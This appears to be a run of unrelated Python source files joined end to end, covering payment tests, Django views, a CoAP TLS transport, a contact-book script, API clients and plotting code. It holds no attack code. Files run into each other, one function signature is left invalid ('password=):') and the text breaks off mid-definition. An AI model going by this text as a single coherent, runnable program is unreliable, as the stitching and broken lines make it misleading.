child.parameters: aggreg = parsed.initial_states.aggregate() parsed_initial_states = np.ascontiguousarray(aggreg.record.sample) parameters['num_reads'] = aggreg.record.num_occurrences samplesets = None for initial_state in parsed_initial_states: sampleset = child.sample(bqm, initial_state=dict(zip(bqm.variables, initial_state)), **parameters) if 'initial_state' not in sampleset.record.dtype.names: init_state_vect = [initial_state.copy() for i in range(len(sampleset.record.energy))] sampleset = dimod.append_data_vectors(sampleset, initial_state=init_state_vect) if samplesets is None: samplesets = sampleset else: samplesets = dimod.concatenate((samplesets, sampleset)) return samplesets oremj/zamboni import fudge from mock import patch, Mock from nose.tools import eq_ import waffle from django.conf import settings from addons.models import Addon import amo from mkt.inapp_pay.models import InappConfig from mkt.inapp_pay.tests.test_views import InappPaymentUtil from paypal.tests.test_views import (PaypalTest, sample_reversal, sample_chained_refund) from users.models import UserProfile @patch('paypal.views.requests.post') @patch.object(settings, 'DEBUG', True) class TestInappIPN(InappPaymentUtil, PaypalTest): fixtures = ['webapps/337141-steamcube', 'base/users', 'market/prices'] @patch.object(settings, 'DEBUG', True) def setUp(self): super(TestInappIPN, self).setUp() self.app = self.get_app() cfg = self.inapp_config = InappConfig(addon=self.app, status=amo.INAPP_STATUS_ACTIVE) cfg.public_key = self.app_id = InappConfig.generate_public_key() cfg.private_key = self.app_secret = InappConfig.generate_private_key() cfg.save() self.app.paypal_id = '' self.app.save() waffle.models.Switch.objects.create(name='in-app-payments-ui', active=True) self.user = UserProfile.objects.get(email='') assert self.client.login(username='', password='password') def get_app(self): return Addon.objects.get(pk=337141) @fudge.patch('mkt.inapp_pay.tasks.chargeback_notify') def test_reversal(self, post, chargeback_notify): post.return_value = Mock(text='VERIFIED') con = self.make_contrib(transaction_id=sample_reversal['tracking_id']) pay = self.make_payment(contrib=con) chargeback_notify.expects('delay').with_args(pay.pk, 'reversal') ipn = sample_reversal.copy() response = self.client.post(self.url, ipn) eq_(response.content.strip(), 'Success!') eq_(response.status_code, 200) @fudge.patch('mkt.inapp_pay.tasks.chargeback_notify') def test_refund(self, post, chargeback_notify): post.return_value = Mock(text='VERIFIED') tx = sample_chained_refund['tracking_id'] con = self.make_contrib(transaction_id=tx) pay = self.make_payment(contrib=con) chargeback_notify.expects('delay').with_args(pay.pk, 'refund') ipn = sample_chained_refund.copy() response = self.client.post(self.url, ipn) eq_(response.content.strip(), 'Success!') eq_(response.status_code, 200) def test_completion(self, post): # TODO(Kumar) trigger notify hook from IPN post.return_value = Mock(text='VERIFIED') # -*- coding: utf-8 -*- # # Copyright (C) 2010-2016 PPMessage. # , # # from .basehandler import BaseHandler from ppmessage.api.error import API_ERR from ppmessage.core.constant import API_LEVEL from ppmessage.db.models import ConversationInfo import uuid import json import logging class PPUpdateConversationHandler(BaseHandler): def _update(self, _conv_uuid, _assigned_uuid): _redis = self.application.redis _key = ConversationInfo.__tablename__ + ".uuid." + _conv_uuid if not _redis.exists(_key): logging.error("no such conversation: %s" % _conv_uuid) self.setErrorCode(API_ERR.NO_CONVERSATION) return _row = ConversationInfo(uuid=_conv_uuid, assigned_uuid=_assigned_uuid) _row.async_update(_redis) _row.update_redis_keys(_redis) _rdata = self.getReturnData() return def initialize(self): self.addPermission(api_level=API_LEVEL.PPCOM) self.addPermission(api_level=API_LEVEL.PPKEFU) self.addPermission(api_level=API_LEVEL.THIRD_PARTY_KEFU) return def _Task(self): super(PPUpdateConversationHandler, self)._Task() _request = json.loads(self.request.body) _conv_uuid = _request.get("conversation_uuid") _assigned_uuid = _request.get("assigned_uuid") if _assigned_uuid == None or _conv_uuid == None: logging.error("no assigned_uuid or conversation_uuid.") self.setErrorCode(API_ERR.NO_PARA) return self._update(_conv_uuid, _assigned_uuid) return DylanJPettij/CoapTemperatureSensor # This file is part of the Python aiocoap library project. # # Copyright (c) 2012-2014 , # 2013-2014 <> # # aiocoap is free software, this file is published under the MIT license as # described in the accompanying LICENSE file. """ CoAP-over-TLS transport (early work in progress) Right now this is running on self-signed, hard-coded certificates with default SSL module options. To use this, generate keys as with:: $ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 5 -nodes and state your hostname (eg. localhost) when asked for the Common Name. """ from .tcp import TCPClient, TCPServer from aiocoap import COAPS_PORT class _TLSMixIn: _scheme = 'coaps+tcp' _default_port = COAPS_PORT class TLSServer(_TLSMixIn, TCPServer): @classmethod async def create_server(cls, bind, tman, log, loop, server_context): return await super().create_server(bind, tman, log, loop, _server_context=server_context) class TLSClient(_TLSMixIn, TCPClient): def _ssl_context_factory(self, hostinfo): c = self.credentials.ssl_client_context(self._scheme, hostinfo) c.set_alpn_protocols(["coap"]) if hasattr(c, 'sni_callback'): # starting python 3.7 c.sni_callback = lambda obj, name, context: setattr(obj, "indicated_server_name", name) return c setup.py10-100 from setuptools import setup with open("README.md", 'r') as f: long_description = f.read() setup( name = 'prinpy', version = '0.0.3.1', license = "MIT", description = "A package for fitting principal curves in Python", author = "https://github.com/artusoma/", author_email = '', url = 'https://github.com/artusoma/prinPy', packages = ["prinpy"], long_description = long_description, long_description_content_type='text/markdown', install_requires = ['numpy', 'matplotlib', 'scipy', 'keras', 'tensorflow', ], )from django.contrib.auth import get_user_model from django.contrib.auth.decorators import login_required from django.contrib.auth.mixins import PermissionRequiredMixin from django.shortcuts import render from django.utils.decorators import method_decorator from django.views.generic import TemplateView from ...decorators import region_permission_required from ...models import Region @method_decorator(login_required, name="dispatch") @method_decorator(region_permission_required, name="dispatch") class RegionUserListView(PermissionRequiredMixin, TemplateView): permission_required = "cms.manage_region_users" raise_exception = True template_name = "users/region/list.html" base_context = {"current_menu_item": "region_users"} def get(self, request, *args, **kwargs): region = Region.get_current_region(request) region_users = get_user_model().objects.filter( profile__regions=region, is_superuser=False, is_staff=False, ) return render( request, self.template_name, {**self.base_context, "users": region_users} ) 0 print ("datos de la primera persona") # Para cargar por teclado una cadena de caracteres utilizamos la función input # las variables pueden tener muchas funciones aquí tenéis una la utilizamos para almacenar el valor introducido por teclado nombre1=input("ingrese nombre del producto:") precio1=int(input("ingrese un precio:")) nombre2=input("ingrese nombre del producto:") precio2=int(input("ingrese un precio:")) # esta es una constante BONIFICACION = 20 """OPERADORES ESTAS COMILLAS SON PARA PONER COMENTARIOS MAS LARGO DE UNA LINEA""" # PARA COMENTARIOS DE UNA LINEA UTILIZAMOS ESTE SIGNO # # sumams los dos precios y su resultado lo guardomos en una varibles precio_compra_total = precio1 + precio2 # operador aritmético # comprabamos si el precio1 es mayor o igual a precio2 comparar = precio1>=precio2 # operador comparación logico = (precio1 < precio2 and precio1 == precio2) # operador lógico cabecera="resultados del producto {0}. y del producto. {1}.:" # contatenamos las cadenas de texto de varias formas aquí tenéis una con la función format print (cabecera.format(nombre1, nombre2)) print ("El precio del primer valor es mayor o igual a el precio del segundo valor:") print(comparar) # concatenar se puede hacer de esta manera con el sign + y en la variable la propiedad str print ("la suma de los dos productos es:" + str(precio_compra_total)) print ("precio1 < precio2 and precio1 == precio2") print (logico) """ VEMOS EL OPERADOR DE ASIGNACION AQUI ABAJO """ precio_compra_total += BONIFICACION # operador de asignación print ("al precio total le incrementamos su valor que tiene la constante:" + str(precio_compra_total)) 0 from tests.utils import W3CTestCase class TestGridInlineSupportFlexibleLengths(W3CTestCase): vars().update(W3CTestCase.find_tests(__file__, 'grid-inline-support-flexible-lengths-')) import pytest import responses from base import DATA, WrappedClerk, assert_equal, build_items, build_tmpdir from kecleon import jobs def build_mutable(): with build_tmpdir() as location: yield ( WrappedClerk(jobs.FileClerk(), str(location / "clerks" / "file")), build_items(DATA / "foo"), "foo bar baz", ) with build_tmpdir() as location: yield ( WrappedClerk( jobs.Zip7Clerk(warn=False), (str(location / "clerks" / "zip"), "foo") ), build_items(DATA / "foo.7z"), "foo bar baz", ) def build_immutable(): yield ( WrappedClerk(jobs.WebClerk(), "https://example.com/stream"), build_items(DATA / "foo"), "foo bar baz", ) def _build_cleck_tests(builder): for clerk, items, value in builder(): for item in items: yield clerk, item, value @responses.activate def test_mutable_clerks(): for clerk, item, value in _build_cleck_tests(build_mutable): assert not clerk.has_item() assert clerk.set(item) is None assert clerk.has_item() assert_equal(clerk.get().get_all(), value) assert_equal(list(clerk.get().get_stream()), value) assert clerk.has_item() assert clerk.delete() is None assert not clerk.has_item() @responses.activate def test_immutable_clerks(): for clerk, item, value in _build_cleck_tests(build_immutable): assert clerk.has_item() assert_equal(clerk.get().get_all(), "foo bar baz") assert_equal(list(clerk.get().get_stream()), "foo bar baz") with pytest.raises(ValueError, match="Can't write to web resource"): clerk.set(item) with pytest.raises(ValueError, match="Can't delete web resource"): clerk.delete() def test_zip7_warnings() -> None: """Test warnings work correctly.""" jobs.Zip7Clerk(warn=False) with pytest.warns( UserWarning, match="ZipClerk's underlying datatype does not provide a streaming interface.", ): jobs.Zip7Clerk() from django import forms from django.utils.translation import gettext_lazy as _ from api.forms import ContextAwareModelForm, HashidModelChoiceField from submissions.models import Submission from voting.helpers import pastaporto_user_info_can_vote from voting.models import Vote from .fields import VoteValueField class SendVoteForm(ContextAwareModelForm): value = VoteValueField() submission = HashidModelChoiceField(queryset=Submission.objects.all()) def clean(self): cleaned_data = super().clean() submission = cleaned_data.get("submission") if submission.conference and not submission.conference.is_voting_open: raise forms.ValidationError(_("The voting session is not open!")) pastaporto = self.context.request.pastaporto if not pastaporto_user_info_can_vote(pastaporto, submission.conference): raise forms.ValidationError(_("You cannot vote without a ticket")) def save(self, commit=True): request = self.context.request submission = self.cleaned_data.get("submission") try: self.instance = Vote.objects.get( user_id=request.user.id, submission=submission ) except Vote.DoesNotExist: pass self.instance.user_id = request.user.id self.instance.value = self.cleaned_data["value"] return super().save(commit=commit) class Meta: model = Vote fields = ("submission", "value") tql/algo_ml/cv/FMModelCV.py10-100 #!/usr/bin/env python # -*- coding: utf-8 -*- # @Project : tql-Python. # @File : FMModelCV # @Time : 2019-10-15 16:38 # @Author : yuanjie # @Email : # @Software : PyCharm # @Description : import time import numpy as np import pandas as pd from sklearn.model_selection import StratifiedKFold, RepeatedStratifiedKFold, KFold, cross_val_predict, cross_validate from sklearn.metrics import roc_auc_score from xlearn import FMModel, FMModel class FMModelCV(object): """cross_val_predict""" def __init__(self, params=None, cv=5, cv_seed=None, n_repeats=None): self.clf = FMModel() self.cv = cv if params: self.clf.set_params(**params) if n_repeats: self._kf = RepeatedStratifiedKFold(cv, True, cv_seed) self._num_preds = cv * n_repeats else: self._kf = StratifiedKFold(cv, True, cv_seed) self._num_preds = cv def fit(self, X, y, X_test=None, feval=roc_auc_score, fix_valid_index=None, fields=None, is_lock_free=True, is_instance_norm=True, is_quiet=False, verbose=1): if X_test is None: X_test = X[:1] self.oof_train = np.zeros(len(X)) self.oof_test = np.zeros((len(X_test), self._num_preds)) for n_fold, (train_index, valid_index) in enumerate(self._kf.split(X, y)): if verbose: print("\033[94mFold %s started at %s\033[0m" % (n_fold + 1, time.ctime())) # 设置valid早停范围 if fix_valid_index is not None: valid_index = list(set(fix_valid_index) & set(valid_index)) X_train, y_train = X[train_index], y[train_index] X_valid, y_valid = X[valid_index], y[valid_index] # eval_set = [(X_train, y_train), (X_valid, y_valid)] ######################################################################## self.clf.fit( X_train, y_train, fields, is_lock_free, is_instance_norm, [X_valid, y_valid], is_quiet ) self.oof_train[valid_index] = self.clf.predict(X_valid) self.oof_test[:, n_fold] = self.clf.predict(X_test) ######################################################################## # 输出 测试集 oof self.oof_test_rank = (pd.DataFrame(self.oof_test).rank().mean(1) / len(self.oof_test)).values self.oof_test = self.oof_test.mean(1) assert len(X) == len(self.oof_train) assert len(X_test) == len(self.oof_test) # 计算 训练集 oof 得分 if feval: self.oof_score = feval(y, self.oof_train) print("\n\033[94mScore Info:\033[0m") print(f"\033[94m {self.cv:>2} CV: {self.oof_score:.6f}\033[0m") # _ = np.array(self.best_info['best_iteration']) # print(f"\033[94m Iter: {_.mean():.0f} +/- {_.std():.0f}\033[0m") # # _ = np.array(self.best_info['best_score_valid']) # print(f"\033[94m Valid: {_.mean():.6f} +/- {_.std():.6f} \033[0m\n") return self.oof_score @property def oof_train_and_test(self): return np.r_[self.oof_train, self.oof_test] if __name__ == "__main__": from sklearn.datasets import make_classification X, y = make_classification(1000, random_state=666) clf = FMModelCV() clf.fit(X, y) import os, pyfiglet import sys from colorama import Fore , Style import random all_col= [Style.BRIGHT+Fore.RED,Style.BRIGHT+Fore.CYAN,Style.BRIGHT+Fore.LIGHTCYAN_EX, Style.BRIGHT+Fore.LIGHTBLUE_EX, Style.BRIGHT+Fore.LIGHTCYAN_EX,Style.BRIGHT+Fore.LIGHTMAGENTA_EX,Style.BRIGHT+Fore.LIGHTYELLOW_EX] ran = random.choice(all_col) def banner(): os.system("clear") print(ran, pyfiglet.figlet_format("\tPrivate\n\tBook")) print(Style.BRIGHT + Fore.LIGHTCYAN_EX, "\n", "- " * 4, " [+] Follow me on Instagram @cyber_dioxide ", "- " * 4) print(Style.BRIGHT + Fore.LIGHTYELLOW_EX, "\n", "- " * 4, " [+] Follow me on Instagram @cyber_dioxide_ ", "- " * 4) print(Style.BRIGHT + Fore.LIGHTRED_EX, "\n", "- " * 4, "[+] Github: https://github.com/Cyber-Dioxide/ ", "- " * 3) banner() def exit(): sys.exit() my_dict = {} def add_cont(): name = input(ran + "\nType name for the number: ") num = input(ran + "\nType Phone number: ") comf = input(ran + "\nDo you want to add more info? [y/n]:") if comf == "y": email = input(ran + "\nEnter email address: ") nickname = input(ran +"\nType nickname for the contact: ") company = input(ran +"\nEnter company name: ") accounts = input(ran + "\nType other Social Media accounts: ") file = open("contacts.txt", "a+") file.write("\nName: " + name + f"\nPhone Number: {num} "+"\nEmail: "+email+"\nCompany: "+company + "\nAccounts: "+accounts+"\nNickname: "+nickname) file.write("\n" + "- " * 10) print(ran + "\n\n\tAdded Successfully!\n") print(Fore.CYAN + "\nExit the tool! Type 'nano contacts.txt' to see saved contacts! :-)") else: file = open("contacts.txt", "a+") file.write("\nName: " + name + f"\nPhone Number: {num} ") file.write("\n" + "- " * 10) print(ran + "\n\n\tAdded Successfully!\n") print(Fore.LIGHTMAGENTA_EX + "\nExit the tool! Type 'nano contacts.txt' to see saved contacts! :-)") l = {name: num} my_dict.update(l) pass def del_cont(): name = input(ran + "\nType name of the number: ") with open("contacts.txt") as file: all_contacts =file.readlines() for contacts in all_contacts: if name in contacts: all_contacts.remove(contacts) print(ran+"\nDeleted Successfully!\n") def view(): file = open("contacts.txt" , "r") read = file.read() print(ran + "\n\t\tThis is what i found: \n") print(ran + read) cont =" " while cont != "n" and "no": print(ran + "\n\t\t[1] Add Contact\n\t\t[2] Delete Contact\n\t\t[3] View Contatct\n\t\t[4] Exit\n ") choice = input(ran + "Enter your choice: ") if choice == "1": add_cont() elif choice == "2": del_cont() elif choice == "3": view() elif choice == "4": print(ran + "\n\tDont Forget to do following tasks :-)\t\n") print(Style.BRIGHT + Fore.LIGHTCYAN_EX, "\n", "- " * 4, " [+] Follow me on Instagram @cyber_dioxide ", "- " * 4) print(Style.BRIGHT + Fore.LIGHTYELLOW_EX, "\n", "- " * 4, " [+] Follow me on Instagram @cyber_dioxide_ ", "- " * 4) print(Style.BRIGHT + Fore.LIGHTRED_EX, "\n", "- " * 4, "[+] Github: https://github.com/Cyber-Dioxide/ ", "- " * 3) exit() else: print(ran + "\nInvalid option") exit() cont = input(ran + "\nDo you want to continue? [y/n]:") if cont == "y": os.system("clear") banner() gocdapi/go.py """ Module for gocdapi Go class """ from gocdapi.admin import Admin from gocdapi.agents import Agents from gocdapi.pipeline_groups import PipelineGroups class Go(object): """ Class that represents Go Server environment. """ def __init__(self, baseurl, username=None, password=): """Inits Go objects. Args: baseurl (str): The base url of Go Server username (str): The username to login in the Go Server password (str): The username's password """ self.baseurl = baseurl self.username = username self.password = password @property def agents(self): """Return agents of the Go Server """ return Agents(self) @property def pipeline_groups(self): """Return Pipeline Groups of the Go Server """ return PipelineGroups(self) @property def pipelines(self): """Return Pipeline Groups of the Go Server """ return dict(self._iter_through_pipelines()) @property def admin(self): """Return an Admin object """ return Admin(self) def pipeline_exist(self, name): """ Check if pipeline exists. Args: name (str): name of the pipeline to find Returns: bool: True if pipeline with the given name exists """ return name in self.pipelines def get_pipeline(self, name): """ Return pipeline if exists. Args: name (str): name of the pipeline to get Returns: pipeline: Pipeline with the given name or None if it doesn't exist. """ return self.pipelines.get(name, None) def _iter_through_pipelines(self): """ Return a iterable containing every pair pipeline_name, pipeline Generator: Yields a pair pipeline_name, pipeline """ for pipeline_group in self.pipeline_groups.values(): for pipeline_name, pipeline in pipeline_group.iteritems(): yield pipeline_name, pipeline suqingdong/pypubmed import os import sys import json import click from pypubmed.core.eutils import Eutils from pypubmed.core.citations import ncbi_citations, manual_citations __epilog__ = ''' examples:\n citations 1 2 3\n citations 1 2 3 -f nlm\n citations 1 2 3 -m -f apa\n ''' @click.command(name='citations', epilog=__epilog__, help=click.style('generate citations for given pmids', bold=True, fg='magenta'), no_args_is_help=True) @click.option('-m', '--manual', help='cite with manual citations, default with ncbi citations', default=False, is_flag=True) @click.option('-f', '--fmt', help='the format of citation', type=click.Choice('ama mla apa nlm'.split()), default='ama') @click.option('-o', '--outfile', help='the output filename [stdout]') @click.argument('pmids', nargs=-1) @click.pass_obj def citations_cli(obj, **kwargs): pmids = kwargs['pmids'] if not pmids: click.secho('please supply pmids or a file', fg='green') exit(1) if os.path.isfile(pmids[0]): pmid_list = open(pmids[0]).read().strip().split() else: pmid_list = pmids out = open(kwargs['outfile'], 'w') if kwargs['outfile'] else sys.stdout with out: if kwargs['manual']: e = Eutils(api_key=obj['api_key']) articles = e.efetch(pmid_list) click.echo('\n', err=True) for article in articles: citation = manual_citations(article, fmt=kwargs['fmt']) out.write('{}\t{}\n'.format(article.pmid, citation)) else: for pmid in pmid_list: citation = ncbi_citations(pmid, fmt=kwargs['fmt'])['orig'] out.write('{}\t{}\n'.format(pmid, citation)) # -*- coding: utf-8 -*- # # test_podcastparser: Test Runner for the podcastparser (2012-12-29) # Copyright (c) 2012, 2013, 2014, 2018, <> # Copyright (c) 2013, <> # # Permission to use, copy, modify, and/or distribute this software for any # purpose with or without fee is hereby granted, provided that the above # copyright notice and this permission notice appear in all copies. # # THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH # REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY # AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, # INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM # LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR # OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR # PERFORMANCE OF THIS SOFTWARE. # import os import glob import json try: # Python 2 from StringIO import StringIO except ImportError: # Python 3 from io import StringIO from nose.tools import assert_equal from nose.tools import assert_raises import podcastparser def test_rss_parsing(): def test_parse_rss(rss_filename): basename, _ = os.path.splitext(rss_filename) json_filename = basename + '.json' # read parameters to podcastparser.parse() from a separate file param_filename = basename + '.param.json' params = {} if os.path.exists(param_filename): params = json.load(open(param_filename)) expected = json.load(open(json_filename)) normalized_rss_filename = rss_filename if os.sep == '\\': normalized_rss_filename = normalized_rss_filename.replace(os.sep, '/') parsed = podcastparser.parse('file://' + normalized_rss_filename, open(rss_filename), **params) assert_equal.__self__.maxDiff = None assert_equal(expected, parsed) for rss_filename in glob.glob(os.path.join('tests', 'data', '*.rss')): yield test_parse_rss, rss_filename def test_invalid_roots(): def test_fail_parse(feed): with assert_raises(podcastparser.FeedParseError): podcastparser.parse('file://example.com/feed.xml', StringIO(feed)) feeds = [ '', '', '', ] for feed in feeds: yield test_fail_parse, feed """Support for Nexia / Trane XL Thermostats.""" from homeassistant.components.binary_sensor import BinarySensorDevice from homeassistant.const import ATTR_ATTRIBUTION from .const import ( ATTRIBUTION, DATA_NEXIA, DOMAIN, MANUFACTURER, NEXIA_DEVICE, UPDATE_COORDINATOR, ) from .entity import NexiaEntity async def async_setup_entry(hass, config_entry, async_add_entities): """Set up sensors for a Nexia device.""" nexia_data = hass.data[DOMAIN][config_entry.entry_id][DATA_NEXIA] nexia_home = nexia_data[NEXIA_DEVICE] coordinator = nexia_data[UPDATE_COORDINATOR] entities = [] for thermostat_id in nexia_home.get_thermostat_ids(): thermostat = nexia_home.get_thermostat_by_id(thermostat_id) entities.append( NexiaBinarySensor( coordinator, thermostat, "is_blower_active", "Blower Active" ) ) if thermostat.has_emergency_heat(): entities.append( NexiaBinarySensor( coordinator, thermostat, "is_emergency_heat_active", "Emergency Heat Active", ) ) async_add_entities(entities, True) class NexiaBinarySensor(NexiaEntity, BinarySensorDevice): """Provices Nexia BinarySensor support.""" def __init__(self, coordinator, device, sensor_call, sensor_name): """Initialize the nexia sensor.""" super().__init__(coordinator) self._coordinator = coordinator self._device = device self._name = f"{self._device.get_name()} {sensor_name}" self._call = sensor_call self._unique_id = f"{self._device.thermostat_id}_{sensor_call}" self._state = None @property def unique_id(self): """Return the unique id of the binary sensor.""" return self._unique_id @property def name(self): """Return the name of the sensor.""" return self._name @property def device_info(self): """Return the device_info of the device.""" return { "identifiers": {(DOMAIN, self._device.thermostat_id)}, "name": self._device.get_name(), "model": self._device.get_model(), "sw_version": self._device.get_firmware(), "manufacturer": MANUFACTURER, } @property def device_state_attributes(self): """Return the device specific state attributes.""" return { ATTR_ATTRIBUTION: ATTRIBUTION, } @property def is_on(self): """Return the status of the sensor.""" return getattr(self._device, self._call)() 1-10 import random from dataclasses import dataclass from typing import Dict import nonebot.permission as perm from nonebot import on_natural_language, NLPSession, IntentCommand from nonebot.helpers import context_id __plugin_name__ = '复读机' @dataclass class Record: last_msg: str last_user_id: int repeat_count: int = 0 records: Dict[str, Record] = {} @on_natural_language(only_to_me=False, permission=perm.GROUP) async def _(session: NLPSession): group_ctx_id = context_id(session.ctx, mode='group') user_id = session.ctx['user_id'] msg = session.msg record = records.get(group_ctx_id) if record is None: record = Record(msg, user_id, repeat_count=1) records[group_ctx_id] = record return if record.last_msg != msg: #or record.last_user_id == user_id: return record.last_user_id = user_id record.repeat_count += 1 if record.repeat_count % 2 == 0: return IntentCommand( random.randint(0, 1) * 90.0, 'delayed_echo', args={'delay': random.randint(5, 20) / 10, 'message': msg} ) import sys matrix_fname = sys.argv[1] abs_fname = sys.argv[2] with open(abs_fname) as af: afl = af.readlines() abs_dict = {} for l in afl: l = l.rstrip() l = l.split() abs_dict[l[3]] = l[0] + "\t" + str(l[1]) + "\t" + str(l[2]) with open(matrix_fname) as mf: mfl = mf.readlines() for l in mfl: l = l.rstrip() l = l.split() print abs_dict[l[0]] + "\t" + abs_dict[l[1]] + "\t" + str(l[2]) caibengbu/ecma33330_proj1-10 import pandas as pd import numpy as np import os import matplotlib.pyplot as plt from datetime import datetime from .other_utils import get_output_filename, get_figures_filename def plot_all(start_date,end_date,theDir): print("generating plots ...") ei = np.loadtxt(get_output_filename(theDir,'eiM_rate.txt'), delimiter = "\t") eu = np.loadtxt(get_output_filename(theDir,'euM_rate.txt'), delimiter = "\t") ie = np.loadtxt(get_output_filename(theDir,'ieM_rate.txt'), delimiter = "\t") iu = np.loadtxt(get_output_filename(theDir,'iuM_rate.txt'), delimiter = "\t") ue = np.loadtxt(get_output_filename(theDir,'ueM_rate.txt'), delimiter = "\t") ui = np.loadtxt(get_output_filename(theDir,'uiM_rate.txt'), delimiter = "\t") unemp = pd.read_csv(os.path.join(theDir,'raw','LNS14000000.txt'), delim_whitespace=True, names=['date', 'unemp']) unemp = unemp.head(len(ei)) #Make sure the two files are of equal length unemp['unemp'] = unemp['unemp']/100 main_df = pd.DataFrame(np.column_stack([ei, eu, ie, iu, ue, ui]), columns=['ei_M', 'eu_M', 'ie_M', 'iu_M', 'ue_M', 'ui_M']) start_date_datetime = datetime.strptime(start_date,"%Y%m") end_date_datetime = datetime.strptime(end_date,"%Y%m") dates = pd.date_range(start_date_datetime, end_date_datetime, freq='M') main_df['dates'] = dates main_df['sse'] = main_df['iu_M']*main_df['ue_M'] + main_df['ui_M']*main_df['ie_M'] + main_df['ue_M']*main_df['ie_M'] main_df['ssu'] = main_df['ei_M']*main_df['iu_M'] + main_df['ie_M']*main_df['eu_M'] + main_df['iu_M']*main_df['eu_M'] main_df['ssi'] = main_df['eu_M']*main_df['ui_M'] + main_df['ue_M']*main_df['ei_M'] + main_df['ui_M']*main_df['ei_M'] main_df['urate'] = main_df['ssu'] / (main_df['ssu'] + main_df['sse']) main_df['erate'] = main_df['sse'] / (main_df['ssu'] + main_df['sse'] + main_df['ssi']) #Using iu, other fixed main_df['sse'] = main_df['iu_M']*main_df['ue_M'].mean() + main_df['ui_M'].mean()*main_df['ie_M'].mean() + main_df['ue_M'].mean()*main_df['ie_M'].mean() main_df['ssu'] = main_df['ei_M'].mean()*main_df['iu_M'] + main_df['ie_M'].mean()*main_df['eu_M'].mean() + main_df['iu_M']*main_df['eu_M'].mean() main_df['ssi'] = main_df['eu_M'].mean()*main_df['ui_M'].mean() + main_df['ue_M'].mean()*main_df['ei_M'].mean() + main_df['ui_M'].mean()*main_df['ei_M'].mean() main_df['urate_iu'] = main_df['ssu'] / (main_df['ssu'] + main_df['sse']) main_df['erate_iu'] = main_df['sse'] / (main_df['ssu'] + main_df['sse'] + main_df['ssi']) #Using ie, other fixed main_df['sse'] = main_df['iu_M'].mean()*main_df['ue_M'].mean() + main_df['ui_M'].mean()*main_df['ie_M'] + main_df['ue_M'].mean()*main_df['ie_M'] main_df['ssu'] = main_df['ei_M'].mean()*main_df['iu_M'].mean() + main_df['ie_M']*main_df['eu_M'].mean() + main_df['iu_M'].mean()*main_df['eu_M'].mean() main_df['ssi'] = main_df['eu_M'].mean()*main_df['ui_M'].mean() + main_df['ue_M'].mean()*main_df['ei_M'].mean() + main_df['ui_M'].mean()*main_df['ei_M'].mean() main_df['urate_ie'] = main_df['ssu'] / (main_df['ssu'] + main_df['sse']) main_df['erate_ie'] = main_df['sse'] / (main_df['ssu'] + main_df['sse'] + main_df['ssi']) #Using ei, other fixed main_df['sse'] = main_df['iu_M'].mean()*main_df['ue_M'].mean() + main_df['ui_M'].mean()*main_df['ie_M'].mean() + main_df['ue_M'].mean()*main_df['ie_M'].mean() main_df['ssu'] = main_df['ei_M']*main_df['iu_M'].mean() + main_df['ie_M'].mean()*main_df['eu_M'].mean() + main_df['iu_M'].mean()*main_df['eu_M'].mean() main_df['ssi'] = main_df['eu_M'].mean()*main_df['ui_M'].mean() + main_df['ue_M'].mean()*main_df['ei_M'] + main_df['ui_M'].mean()*main_df['ei_M'] main_df['urate_ei'] = main_df['ssu'] / (main_df['ssu'] + main_df['sse']) main_df['erate_ei'] = main_df['sse'] / (main_df['ssu'] + main_df['sse'] + main_df['ssi']) #Using eu, other fixed main_df['sse'] = main_df['iu_M'].mean()*main_df['ue_M'].mean() + main_df['ui_M'].mean()*main_df['ie_M'].mean() + main_df['ue_M'].mean()*main_df['ie_M'].mean() main_df['ssu'] = main_df['ei_M'].mean()*main_df['iu_M'].mean() + main_df['ie_M'].mean()*main_df['eu_M'] + main_df['iu_M'].mean()*main_df['eu_M'] main_df['ssi'] = main_df['eu_M']*main_df['ui_M'].mean() + main_df['ue_M'].mean()*main_df['ei_M'].mean() + main_df['ui_M'].mean()*main_df['ei_M'].mean() main_df['urate_eu'] = main_df['ssu'] / (main_df['ssu'] + main_df['sse']) main_df['erate_eu'] = main_df['sse'] / (main_df['ssu'] + main_df['sse'] + main_df['ssi']) #Using ue, other fixed main_df['sse'] = main_df['iu_M'].mean()*main_df['ue_M'] + main_df['ui_M'].mean()*main_df['ie_M'].mean() + main_df['ue_M']*main_df['ie_M'].mean() main_df['ssu'] = main_df['ei_M'].mean()*main_df['iu_M'].mean() + main_df['ie_M'].mean()*main_df['eu_M'].mean() + main_df['iu_M'].mean()*main_df['eu_M'].mean() main_df['ssi'] = main_df['eu_M'].mean()*main_df['ui_M'].mean() + main_df['ue_M']*main_df['ei_M'].mean() + main_df['ui_M'].mean()*main_df['ei_M'].mean() main_df['urate_ue'] = main_df['ssu'] / (main_df['ssu'] + main_df['sse']) main_df['erate_ue'] = main_df['sse'] / (main_df['ssu'] + main_df['sse'] + main_df['ssi']) #Using ui, other fixed main_df['sse'] = main_df['iu_M'].mean()*main_df['ue_M'].mean() + main_df['ui_M']*main_df['ie_M'].mean() + main_df['ue_M'].mean()*main_df['ie_M'].mean() main_df['ssu'] = main_df['ei_M'].mean()*main_df['iu_M'].mean() + main_df['ie_M'].mean()*main_df['eu_M'].mean() + main_df['iu_M'].mean()*main_df['eu_M'].mean() main_df['ssi'] = main_df['eu_M'].mean()*main_df['ui_M'] + main_df['ue_M'].mean()*main_df['ei_M'].mean() + main_df['ui_M']*main_df['ei_M'].mean() main_df['urate_ui'] = main_df['ssu'] / (main_df['ssu'] + main_df['sse']) main_df['erate_ui'] = main_df['sse'] / (main_df['ssu'] + main_df['sse'] + main_df['ssi']) for varname in ['urate_ei', 'urate_eu', 'urate_ui' , 'urate_ue', 'urate_iu', 'urate_ie']: main_df[['dates', varname]].to_csv(get_output_filename(theDir,varname+'.dat')) plt.plot(main_df['dates'], main_df[varname], label='Hypothetical from '+varname) plt.plot(main_df['dates'], unemp['unemp'], label='Actual unemployment rate') plt.legend() plt.savefig(get_figures_filename(theDir,'fig5'+varname+'.png')) plt.close()benchmark/plot/plot.py import os import shutil import pandas as pd import matplotlib.pyplot as plt def clean_directory(directory): if os.path.exists(directory): shutil.rmtree(directory) os.makedirs(directory) def 